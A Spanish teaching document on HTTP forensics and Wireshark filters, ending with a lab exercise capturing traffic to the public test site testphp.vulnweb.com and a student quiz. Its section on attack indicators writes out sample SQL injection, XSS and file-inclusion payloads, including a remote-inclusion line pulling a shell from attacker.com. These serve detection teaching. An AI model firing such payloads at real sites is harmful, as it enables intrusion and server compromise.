HTTP, visto desde el prisma del análisis forense, se convierte en un río de migas digitales. Todo lo que un usuario hace en la web —clics, formularios, cargas, descargas, redirecciones— queda reflejado en forma de peticiones y respuestas. Para un analista forense, ese flujo es una fuente de verdad incómodamente sincera.

---

1. HTTP desde la perspectiva del Análisis Forense

HTTP (Hypertext Transfer Protocol) es el lenguaje de comunicación entre navegadores y servidores web. En condiciones normales es un protocolo simple, sin cifrar, basado en texto plano. Esa “simplicidad” lo convierte en un objetivo fantástico para la reconstrucción forense de actividades.

¿Por qué HTTP importa en un análisis forense?

HTTP expone tres elementos cruciales:

1. Qué hizo un usuario
   Las URLs visitadas describen intención, interés y acciones concretas.
   Un acceso a /wp-admin/ no es lo mismo que una visita a /index.html.
2. Qué envió un usuario
   Si no hay cifrado (HTTP a secas), el analista puede ver:
   • campos de formularios
   • parámetros en la URL
   • cookies
   • cabeceras personalizadas
   Son pruebas directas de actividad.
3. Qué devolvió el servidor
   Los códigos de estado (200, 404, 500…) cuentan historias:
   • ¿Se intentó acceder a un recurso prohibido? (403)
   • ¿Hubo intentos de escaneo? (404 repetidos)
   • ¿Hubo redirecciones sospechosas? (3xx)

En un entorno HTTPS el contenido se cifra, pero la metadata sigue hablando: SNI, IPs de destino, tamaño de paquetes, frecuencia de conexiones.

---

2. Qué puede analizar un forense dentro del tráfico HTTP

Cuando el tráfico está en claro (capturas PCAP, logs de proxy, almacenamientos en disco…), un analista puede reconstruir:

Peticiones

• Método usado (GET, POST, PUT…)
• URL completa con parámetros
• Cookies
• User-Agent
• Referer (muy útil para reconstruir navegación)
• Origen de la petición

Respuestas

• Códigos de estado
• Tipo de contenido (Content-Type)
• Descarga de ficheros
• Redirecciones (sirven para detectar phishing o malware)

Cuerpo (Body)

• Formularios enviados
• Archivos subidos
• Tokens
• Sesiones reutilizadas
• Comandos dentro de ataques (SQLi, XSS, LFI, RFI)

HTTP deja la puerta abierta a ver la anatomía completa del ataque.

---

3. Indicadores forenses típicos en HTTP

Un forense puede detectar patrones de ataque leyendo únicamente tráfico HTTP.

SQL Injection

Parámetros anómalos:

?id=1' OR '1'='1 ?id=1 UNION SELECT *

XSS

Cargas útiles visibles:

<script>alert('xss')</script>

LFI/RFI

?page=../../etc/passwd ?file=http://attacker.com/shell.txt

Attempts de fuerza bruta o escaneo

• secuencias largas de 404 (enumeración de rutas)
• accesos a /admin, /phpmyadmin, /wp-login.php
• múltiples POST fallidos a formularios de login

Exfiltración mediante HTTP

• subidas de archivos
• grandes volúmenes en POST
• parámetros larguísimos y codificados (Base64, hex, etc.)

HTTP se convierte en un diario de guerra para quien sabe leerlo.

---

4. Fuentes forenses relacionadas con HTTP

PCAPs

Capturas obtenidas con Wireshark/tcpdump → reconstrucción completa de la sesión.

Logs de servidor

• Apache: access.log y error.log
• Nginx: access.log y error.log
• IIS: logs W3C

Incluyen:

• IP origen
• timestamp
• método
• URL
• código de respuesta
• tamaño de respuesta
• User-Agent

Logs de proxy/IDS/IPS

• Squid
• Suricata
• Snort

Detectan patrones de ataque.

Carpetas temporales del navegador

Cuando no hay cifrado, muchos navegadores almacenaban recursos en caché → reconstrucción de contenido web visitado.

---

5. Qué valor aporta HTTP en un caso forense

HTTP permite:

Atribución

Qué IP hizo qué petición, cuándo, y hacia dónde.

Reconstrucción cronológica

Secuencia exacta de navegación.

Detección de actividad maliciosa

Scripts, comandos, payloads.

Derivación de intenciones

El tipo de URL buscada revela motivación y objetivos.

Prueba digital sólida

HTTP es fácil de interpretar y explicar en un informe pericial.

---

LAS CAPAS DE HTTP

En un recorrido típico, desde que un navegador lanza un GET hasta que el servidor responde un 200 OK, intervienen estas capas:

1. Capa de Aplicación (HTTP “de verdad”)
Aquí es donde vive el propio HTTP. Todo lo que son métodos (GET, POST…), cabeceras, cookies, códigos de estado, cuerpos JSON/HTML/lo-que-sea, ocurre aquí.
Es la capa donde se expresa la intención humana: “dame este recurso”, “aquí tienes mi formulario”, “acepto gzip”.

2. Capa de Transporte (TCP)
HTTP clásico usa TCP, que actúa como el mensajero meticuloso: garantiza que los datos lleguen en orden, completos y sin que nadie se pierda por el camino.
Aquí se negocia el 3-way handshake, se fragmentan segmentos, se controlan retransmisiones y se mantiene la conexión.

3. Capa de Red (IP)
IP es la guía turística poco habladora que solo sabe entregar paquetes. Se ocupa de mover esos segmentos TCP a través de routers, saltos, rutas posibles, usando direcciones IP.
No sabe nada de “GET /index.html”, solo sabe de “lleva este paquete a la 172.217.x.x”.

4. Capa de Enlace de Datos (Ethernet / Wi-Fi)
Aquí estamos en el nivel de los marcos (frames), las MACs, la detección de colisiones, los canales radioeléctricos…
Es la autopista física donde circulan los bits.

5. Capa Física
Aquí no hay cabeceras ni protocolos nobles. Solo voltajes, pulsos, ondas, fibras, fotones.
Es la capa donde HTTP desaparece por completo y solo quedan electrones corriendo nerviosos.

Ejemplo

Vamos a hacer un ejemplo muy visual, como si desmontáramos una muñeca rusa digital.
Imagina que tu navegador quiere pedir:

GET /login.html HTTP/1.1
Host: ejemplo.com

Ese texto tan inocente pasa por una cadena de capas. Te lo describo como si fuese un “viaje del paquete” de arriba abajo.

1. Capa de Aplicación (HTTP)

Aquí se construye el mensaje original:

GET /login.html HTTP/1.1
Host: ejemplo.com
User-Agent: Firefox
Accept: text/html

Todavía no hay números de puertos, ni IPs, ni MACs. Solo intención: “dame este recurso”.

2. Capa de Transporte (TCP)

HTTP se mete dentro de un segmento TCP. Ahora aparecen cosas como:

Puerto origen: 53214

Puerto destino: 80

Número de secuencia: 45500123

Flags: PSH, ACK

Ejemplo muy simplificado:

[`TCP HEADER] Src Port: 53214 Dst Port: 80 Seq: 45500123 Ack: 1209931001 [DATA] GET /login.html HTTP/1.1 Host: ejemplo.com`

3. Capa de Red (IP)

El segmento TCP se mete dentro de un paquete IP:

[IP HEADER]
Src IP: 192.168.1.50
Dst IP: 93.184.216.34
TTL: 64
Protocol: TCP
[TCP + HTTP DATA]

Esta capa ya sabe a qué dirección de Internet debe viajar.

4. Capa de Enlace (Ethernet / Wi-Fi)

Ahora se añade el frame Ethernet con MACs:

[ETHERNET HEADER]
Src MAC: C4:12:3B:AA:11:22
Dst MAC: 58:9C:FC:02:EE:10
Type: IPv4
[IP + TCP + HTTP]

Estas direcciones MAC son solo para el salto inmediato (por ejemplo, tu router).

5. Capa Física

El frame se convierte en:

Pulsos eléctricos (Ethernet),

Ondas electromagnéticas (Wi-Fi),

Fotones (fibra óptica).

En esta capa ya no vemos “GET /login.html”. Vemos señales que codifican bits.

Cada capa de la 1 a la 5 envuelve a la anterior:

[FÍSICA]
-> [ENLACE]
-> [IP]
-> [TCP]
-> [HTTP]

Si quieres ver esto “en vivo” puedes abrir Wireshark y filtra por http. Cuando haces clic en un paquete verás:

Ethernet II

Internet Protocol Version 4

Transmission Control Protocol

Hypertext Transfer Protocol

Cada uno anidado dentro del otro, como en este ejemplo que acabas de leer.

Wireshark es un analizador de tráfico de red que permite capturar y examinar, en tiempo real o a través de archivos pcap, todos los paquetes que circulan por un equipo o una interfaz de red. Su potencia reside en su capacidad para mostrar cada detalle de la comunicación: protocolos, cabeceras, datos, errores y patrones internos.

Sin embargo, una captura completa suele contener miles de paquetes mezclados: peticiones web, DNS, tráfico de fondo del sistema, retransmisiones TCP, etc. Analizar todo a la vez es inviable. Para poder investigar de forma eficaz, necesitamos herramientas que nos permitan centrarnos solo en lo relevante.

Aquí es donde entran en juego los filtros de visualización.

---

2. ¿Qué son los filtros de Wireshark?

Un filtro en Wireshark es una expresión que permite mostrar únicamente los paquetes que cumplen una o varias condiciones. El resto de los paquetes no se eliminan: simplemente se ocultan temporalmente de la vista.

Los filtros son una forma de decirle a Wireshark:

“De entre todos estos miles de paquetes, solo quiero ver los que coincidan con esta característica concreta.”

Por ejemplo:

• “Solo quiero ver peticiones GET a una web.”
• “Muéstrame las cookies enviadas por el navegador.”
• “Quiero ver los paquetes destinados al puerto 80.”
• “Enséñame el tráfico DNS para saber qué dominios se resolvieron.”

Con esto, el análisis deja de ser caótico y se convierte en una investigación guiada.

---

3. ¿Cómo funcionan por dentro?

3.1. Campos de los protocolos

Wireshark entiende cada protocolo y lo descompone en campos.
Por ejemplo, en HTTP podemos encontrar:

• http.host
• http.request.method
• http.cookie

En TCP aparecen campos como:

• tcp.port
• tcp.flags.syn
• tcp.seq

En DNS:

• dns.qry.name

Cada uno de estos campos puede usarse para crear filtros.

---

3.2. Operadores

Para comparar esos campos con valores concretos, Wireshark utiliza operadores lógicos y relacionales:

Operador	Significado
==	Igual a
!=	Distinto
contains	El campo contiene un texto concreto
< / >	Comparación numérica
&&	AND lógico
`
!	Negación (NO)

Con estos operadores podemos crear condiciones desde sencillas hasta muy complejas.

---

3.3. Ejemplos básicos

http

Muestra únicamente paquetes HTTP.

http.request.method == "POST"

Filtra todas las peticiones POST (ideal para ver formularios y logins sin cifrar).

tcp.port == 80

Muestra tráfico hacia/desde el puerto 80 (HTTP en claro).

http.cookie contains "PHPSESSID"

Filtra cookies asociadas a sesiones PHP.

---

4. ¿Para qué sirven realmente?

Los filtros permiten:

• Analizar aplicaciones web en PHP

Ver cómo un navegador solicita index.php, cómo envía credenciales por POST o cómo recibe una cookie de sesión.

• Depurar problemas

Identificar errores HTTP, pérdidas de paquetes, retransmisiones TCP o peticiones repetidas.

• Seguir el flujo de un usuario

Reconstruir la secuencia de navegación: qué URL pidió, cuándo inició sesión y qué recursos cargó la página.

• Detectar configuraciones inseguras

Tráfico HTTP en claro, cookies sin atributos de seguridad, peticiones POST sin cifrar…

• Aprender el funcionamiento interno de la red

DNS, ARP, TLS, TCP handshake y otros mecanismos que normalmente pasan desapercibidos.

---

5. Tipos de filtros en Wireshark

Wireshark tiene dos categorías (aunque muchos alumnos las confunden al principio):

1. Filtros de captura (Capture Filters)

Se aplican antes de capturar y limitan qué paquetes se guardan en el archivo.
Tienen sintaxis estilo BPF (más escueta):
Ejemplo:

port 80
host 192.168.1.100

2. Filtros de visualización (Display Filters)

Se aplican después de capturar y permiten analizar sin perder nada.
Son los que se usan el 99% del tiempo en clase:

http.request.method == "GET"
dns.qry.name contains "example.com"

---

6. Conclusión

Los filtros son la herramienta fundamental para convertir una captura de tráfico en bruto en una historia comprensible. Permiten investigar, aprender, depurar y entender cómo se comportan las aplicaciones web y los protocolos de red.

Dominar los filtros equivale a dominar Wireshark.

---

Filtros básicos pero muy visuales

1. Filtrar por HTTP en claro
Cuando trabajan con un hosting sin HTTPS o usando HTTP local:

http

Muestra peticiones GET, POST, cabeceras, parámetros… el caramelo didáctico ideal.

2. Solo peticiones GET

http.request.method == "GET"

Sirve para ver qué recursos pide el navegador: imágenes, JS, CSS, el index.php.

3. Solo peticiones POST (login, formularios)

http.request.method == "POST"

Perfecto para mostrar cómo se enviarían credenciales sin cifrar. Nada despierta conciencias como ver un usuario y contraseña en texto plano.

---

Filtros para cazar PHP

4. Peticiones explícitas a archivos PHP

http.request.uri contains ".php"

Puedes ver exactamente qué scripts se llaman: login.php, insert.php, update.php.

5. Extraer cookies (sesiones PHP)

http.cookie

Llega el momento «¿ves esto? Esto es tu sesión… y si te la robo, te convierto en ti».

6. Ver el PHPSESSID en tráfico no cifrado

http.cookie contains "PHPSESSID"

Es el filtro dramático: el espíritu del session hijacking entra en clase.

---

Cuando todo va cifrado (HTTPS)

La gente suele pensar “si está cifrado, no veo nada”, pero sí hay cosas interesantes:

7. Filtrar solo TLS/SSL

tls

8. Ver el SNI (qué dominio está visitando el cliente)

tls.handshake.extensions_server_name

SNI revela dominios incluso aunque el contenido esté cifrado. Muy útil para explicación OSINT.

9. Ver el handshake TLS

tls.handshake

Para explicar versiones de TLS, cipher suites, certificados…

---

Filtros orientados al servidor web

10. Filtrar por puerto

tcp.port == 80 || tcp.port == 443

Básico pero efectivo para centrar el tráfico.

11. Filtrar errores HTTP

http.response.code >= 400

Se ven los 404, 403, 500… Ideal cuando tus alumnos han roto algo sin querer.

12. Ver solo respuestas 200 (todas bien)

http.response.code == 200

---

Filtros para mostrar problemas reales

13. Retransmisiones TCP (problemas de red)

tcp.analysis.retransmission

Traduce “la red no es perfecta, observad estas repeticiones”.

14. Paquetes fuera de orden

tcp.analysis.out_of_order

15. Flujo lento o paquetes perdidos

tcp.analysis.lost_segment

---

Filtros de capas bajas (para dar color a la clase)

16. Filtrar ARP

arp

Es como ver el vecindario de máquinas preguntándose mutuamente “¿quién eres?”.

17. Filtrar DNS

dns

Verán cada dominio que consulta el navegador antes siquiera de entrar al PHP.

---

Un combo que siempre triunfa en clase

Ver solo: peticiones POST + tráfico HTTP + mostrar cookies
Sirve para simular un login vulnerable:

http.request.method == "POST" && http.cookie

Y si están usando HTTPS pero quieres que entiendan lo que no pueden ver:

tls && http

No aparece nada HTTP, y eso invita al clásico «¿ves? por esto existe HTTPS».

Práctica: Análisis de Tráfico HTTP con Wireshark en una Web Vulnerable

Caso práctico: testphp.vulnweb.com

---

1. Introducción

En esta práctica aprenderás a utilizar Wireshark para analizar el tráfico HTTP generado al navegar por una aplicación web vulnerable. El objetivo es comprender cómo viajan las peticiones y respuestas en una web sin cifrado, identificar parámetros, observar cabeceras, analizar formularios y cookies de sesión, y entender los riesgos de seguridad asociados.

La web utilizada es:

http://testphp.vulnweb.com/

Este sitio es un entorno público y autorizado para prácticas de ciberseguridad ofrecido por Acunetix, por lo que su uso es completamente legal con fines académicos.

---

2. Objetivos de la práctica

Al finalizar la actividad, deberás ser capaz de:

• Capturar tráfico HTTP real con Wireshark.
• Aplicar filtros para aislar información concreta.
• Analizar peticiones GET y POST.
• Identificar parámetros, rutas internas y patrones de navegación.
• Localizar cookies y sesiones enviadas en texto claro.
• Comprender los riesgos de enviar credenciales por HTTP.

---

3. Procedimiento

3.1. Preparación

1. Abre Wireshark.
2. Selecciona la interfaz de red que utilices para navegar por Internet.
3. Inicia la captura de paquetes.
4. Abre el navegador y visita:

http://testphp.vulnweb.com/

5. Navega por distintas secciones: categorías, productos, artista, carrito…
6. Accede al formulario de login e introduce cualquier usuario y contraseña (fallará siempre, es parte del diseño).
7. Realiza varias acciones para generar tráfico suficiente.
8. Regresa a Wireshark y detén la captura.

---

4. Análisis guiado en Wireshark

A continuación aplicarás varios filtros y analizarás lo que ocurre en cada caso.

---

4.1. Visualizar únicamente tráfico HTTP

Filtro:

http

Qué debes observar:

• Todas las peticiones realizadas al servidor.
• Rutas como /index.php, /listproducts.php, /product.php, etc.
• Imágenes, scripts y otros recursos solicitados.

Ejemplo típico que deberías encontrar:

GET /listproducts.php?cat=1 HTTP/1.1
Host: testphp.vulnweb.com

---

4.2. Listar únicamente peticiones GET

Filtro:

http.request.method == "GET"

Observa cómo la web utiliza parámetros en la URL. Ejemplos que verás:

GET /artist.php?artist=4
GET /product.php?pic=3
GET /listproducts.php?cat=2

Esto permite mapear la estructura del sitio.

---

4.3. Detectar peticiones con parámetros

Filtro:

http.request.uri contains "="

Este filtro muestra exclusivamente peticiones con parámetros GET.

Ejemplos esperados:

GET /shoppingcart.php?add=2
GET /login.php?test=1

Fíjate en cómo la información viaja en texto plano.

---

4.4. Analizar el login (peticiones POST)

En la web, introduce un usuario y contraseña en el formulario.

Filtro:

http.request.method == "POST"

Debes encontrar una petición similar a:

POST /userinfo.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

uname=prueba&pass=1234

Reflexiona sobre el riesgo de enviar credenciales por HTTP sin cifrar.

---

4.5. Visualizar cookies y sesiones

Filtro:

http.cookie

Deberías ver algo como:

Cookie: PHPSESSID=8d6v93h3k8a...

Esto confirma que la sesión también viaja sin protección alguna.

---

4.6. Encontrar errores en la web

Filtro:

http.response.code >= 400

Este filtro permite localizar:

• Páginas no encontradas (404)
• Errores internos (500)
• Accesos no permitidos (403)

Esto ayuda a entender la estructura interna del sitio.

---

4.7. Localizar recursos concretos: imágenes, JS y CSS

Para analizar recursos específicos:

Imágenes (JPG):

http.request.uri contains ".jpg"

Scripts:

http.request.uri contains ".js"

Hojas de estilo:

http.request.uri contains ".css"

Permite reconstruir exactamente todo lo que carga el navegador.

---

4.8. Seguir una conversación completa

Selecciona cualquier paquete HTTP → clic derecho →
Follow → HTTP Stream

Verás la conversación completa entre cliente y servidor:

• Petición completa
• Respuesta completa
• HTML enviado

Perfecto para reconstruir acciones exactas del usuario.

---

5. Cuestionario final

Responde a las siguientes preguntas basándote en tu captura:

1. Lista todos los parámetros GET que aparecieron durante tu navegación.
2. ¿Qué peticiones POST detectaste? ¿Qué información enviaron?
3. ¿Cómo viajan las credenciales del formulario de login?
4. ¿Qué cookies o identificadores de sesión aparecen durante la captura?
5. ¿Puedes reconstruir qué páginas visitó el usuario? Describe el flujo.
6. ¿Has encontrado algún error HTTP (404, 500…)? ¿En qué rutas?
7. Explica qué riesgos de seguridad existen al usar HTTP en lugar de HTTPS.